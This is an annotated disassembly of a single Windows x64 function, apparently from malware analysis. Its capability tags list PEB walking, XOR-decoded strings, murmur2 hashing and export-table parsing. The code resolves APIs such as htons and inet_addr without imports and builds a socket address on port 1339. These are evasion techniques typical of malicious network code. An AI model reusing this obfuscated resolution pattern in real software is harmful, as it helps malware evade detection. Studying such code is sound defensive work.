Function at 0x140056040
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using murmur2
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
mov rbp, rsp
sub rsp, 0x78
mov cl, 0x3e
mov qword [rbp - 0x10], r8
movsx ebx, cl
mov byte [rbp - 0x58], cl
mov ecx, ebx
mov qword [rbp - 0x18], rdx
mov word [rdx], 2
mov dword [rbp - 0x28], 0x50514a56
mov word [rbp - 0x24], 0x4d
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14005608a
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x140056099
mov edx, 0x9d
call fcn.140052d80
imul eax, ebx, 0x5bd1e995
lea r8, [rbp - 0x54]
mov r12d, 8
mov r9d, r12d
mov ecx, eax
shr ecx, 0x18
xor ecx, eax
imul r10d, ecx, 0x5bd1e995
xor r13d, r13d
mov edx, r13d
mov eax, r10d
lea r8, [r8 + 4]
xor eax, edx
add edx, 0x5bd1e995
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8 - 4], eax
sub r9, 1
jne 0x1400560c0
mov eax, 5
nop
inc eax
test al, 0xf
jne 0x140056100
lea edi, [rax + 8]
mov qword [0x140187190], r13
mov edx, edi
call fcn.140052d80
mov qword [0x140187190], rax
mov rbx, rax
test rax, rax
jne 0x14005612b
mov rbx, r13
jmp 0x14005616c
mov dword [0x14018719c], edi
lea rcx, [rbx + 8]
mov dword [0x140187198], 5
lea r9, [rbp - 0x54]
mov dword [rax], edi
mov r8b, 1
mov eax, dword [0x140187198]
mov dword [rbx + 4], eax
mov eax, dword [rbp - 0x28]
mov dword [rbx + 8], eax
movzx eax, byte [rbp - 0x24]
mov byte [rbx + 0xc], al
mov edx, dword [0x14018719c]
add edx, 0xfffffff8
call fcn.140052470
mov qword [rbp - 0x30], rbx
movsx ebx, byte [rbp - 0x58]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14005618c
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x14005619b
mov edx, 0x9d
call fcn.140052d80
imul eax, ebx, 0x5bd1e995
lea r8, [rbp - 0x54]
mov edx, r13d
mov r9, r12
mov ecx, eax
shr ecx, 0x18
xor ecx, eax
imul r10d, ecx, 0x5bd1e995
nop dword [rax]
mov eax, r10d
lea r8, [r8 + 4]
xor eax, edx
add edx, 0x5bd1e995
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8 - 4], eax
sub r9, 1
jne 0x1400561c0
mov r9d, dword [0x14018719c]
lea r8, [rbp - 0x54]
mov rdx, qword [rbp - 0x30]
call fcn.1400525a0
mov rbx, rax
test rax, rax
jne 0x140056220
mov rbx, r13
jmp 0x140056236
movzx eax, byte [rbp - 0x58]
xor byte [rbx], al
xor byte [rbx + 1], al
xor byte [rbx + 2], al
xor byte [rbx + 3], al
xor byte [rbx + 4], al
mov byte [rbx + 5], r13b
mov rax, qword gs:[0x60]
mov qword [rsp + 0xb0], r14
mov qword [rsp + 0x70], r15
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov eax, 0x5a4d
cmp qword [rsi + 0x60], r13
je 0x140056329
nop word [rax + rax]
mov r11, qword [rsi + 0x30]
mov rsi, qword [rsi]
test r11, r11
je 0x14005631f
cmp word [r11], ax
jne 0x140056329
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140056329
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140056329
mov r14d, dword [r11 + rcx + 0x1c]
lea rax, [r11 + rcx]
mov r9d, dword [rax + 0x20]
add r14, r11
mov r15d, dword [rax + 0x24]
add r9, r11
mov edi, dword [rax + 0x18]
add r15, r11
mov r10d, r13d
test edi, edi
je 0x14005631a
mov ecx, dword [r9]
xor dl, dl
add rcx, r11
cmp byte [rcx], dl
je 0x14005630e
mov r8, rbx
sub r8, rcx
movzx eax, byte [rcx + r8]
test al, al
je 0x14005630a
cmp byte [rcx], al
jne 0x14005630e
inc rcx
mov dl, 1
cmp byte [rcx], r13b
jne 0x1400562e2
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
jmp 0x14005632c
test dl, dl
jne 0x1400562f9
inc r10d
add r9, 4
cmp r10d, edi
jb 0x1400562d0
mov eax, 0x5a4d
cmp qword [rsi + 0x60], r13
jne 0x140056270
mov rax, r13
mov ecx, 0x53b
call rax
mov rcx, qword [rbp - 0x18]
mov dword [rbp - 0x28], 0xe1f1413
mov dword [rbp - 0x24], 0x1e1e1b25
mov word [rbp - 0x20], r12w
mov word [rcx + 2], ax
mov cl, 0x7a
movsx ebx, cl
mov byte [rbp - 0x58], cl
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14005636e
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x14005637d
mov edx, 0x9d
call fcn.140052d80
imul eax, ebx, 0x5bd1e995
lea r8, [rbp - 0x54]
mov edx, r13d
mov r9, r12
mov ecx, eax
shr ecx, 0x18
xor ecx, eax
imul r10d, ecx, 0x5bd1e995
nop dword [rax + rax]
mov eax, r10d
lea r8, [r8 + 4]
xor eax, edx
add edx, 0x5bd1e995
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8 - 4], eax
sub r9, 1
jne 0x1400563a0
mov eax, 9
nop
inc eax
test al, 0xf
jne 0x1400563e0
lea edi, [rax + 8]
mov qword [0x140187190], r13
mov edx, edi
call fcn.140052d80
mov qword [0x140187190], rax
mov rbx, rax
test rax, rax
jne 0x14005640b
mov rbx, r13
jmp 0x140056450
movsd xmm0, qword [rbp - 0x28]
lea rcx, [rbx + 8]
mov dword [0x14018719c], edi
lea r9, [rbp - 0x54]
mov dword [0x140187198], 9
mov r8b, 1
mov dword [rax], edi
mov eax, dword [0x140187198]
mov dword [rbx + 4], eax
movzx eax, byte [rbp - 0x20]
movsd qword [rbx + 8], xmm0
mov byte [rbx + 0x10], al
mov edx, dword [0x14018719c]
add edx, 0xfffffff8
call fcn.140052470
mov qword [rbp - 0x30], rbx
movsx ebx, byte [rbp - 0x58]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140056470
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x14005647f
mov edx, 0x9d
call fcn.140052d80
imul eax, ebx, 0x5bd1e995
lea r8, [rbp - 0x54]
mov edx, r13d
mov ecx, eax
shr ecx, 0x18
xor ecx, eax
imul r9d, ecx, 0x5bd1e995
nop word [rax + rax]
mov eax, r9d
lea r8, [r8 + 4]
xor eax, edx
add edx, 0x5bd1e995
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8 - 4], eax
sub r12, 1
jne 0x1400564a0
mov r9d, dword [0x14018719c]
lea r8, [rbp - 0x54]
mov rdx, qword [rbp - 0x30]
call fcn.1400525a0
mov rbx, rax
test rax, rax
jne 0x140056500
mov rbx, r13
jmp 0x140056522
movzx eax, byte [rbp - 0x58]
xor byte [rbx], al
xor byte [rbx + 1], al
xor byte [rbx + 2], al
xor byte [rbx + 3], al
xor byte [rbx + 4], al
xor byte [rbx + 5], al
xor byte [rbx + 6], al
xor byte [rbx + 7], al
xor byte [rbx + 8], al
mov byte [rbx + 9], r13b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
cmp qword [rsi + 0x60], r13
je 0x1400565dc
mov r12d, 0x5a4d
nop word [rax + rax]
mov r11, qword [rsi + 0x30]
mov rsi, qword [rsi]
test r11, r11
je 0x140056617
cmp word [r11], r12w
jne 0x1400565dc
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400565dc
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400565dc
mov r14d, dword [r11 + rcx + 0x1c]
lea rax, [r11 + rcx]
mov r9d, dword [rax + 0x20]
add r14, r11
mov r15d, dword [rax + 0x24]
add r9, r11
mov edi, dword [rax + 0x18]
add r15, r11
mov r10d, r13d
test edi, edi
je 0x140056617
mov eax, dword [r9]
xor dl, dl
add rax, r11
cmp byte [rax], dl
je 0x14005660b
mov r8, rbx
sub r8, rax
movzx ecx, byte [rax + r8]
test cl, cl
je 0x140056607
cmp byte [rax], cl
jne 0x14005660b
inc rax
mov dl, 1
cmp byte [rax], r13b
jne 0x1400565b6
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov r13d, dword [r14 + rcx*4]
add r13, r11
mov rcx, qword [rbp - 0x10]
call r13
mov rcx, qword [rbp - 0x18]
mov r15, qword [rsp + 0x70]
mov r14, qword [rsp + 0xb0]
mov dword [rcx + 4], eax
mov rax, rcx
add rsp, 0x78
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
test dl, dl
jne 0x1400565cd
inc r10d
add r9, 4
cmp r10d, edi
jb 0x1400565a4
cmp qword [rsi + 0x60], r13
jne 0x140056550
jmp 0x1400565dc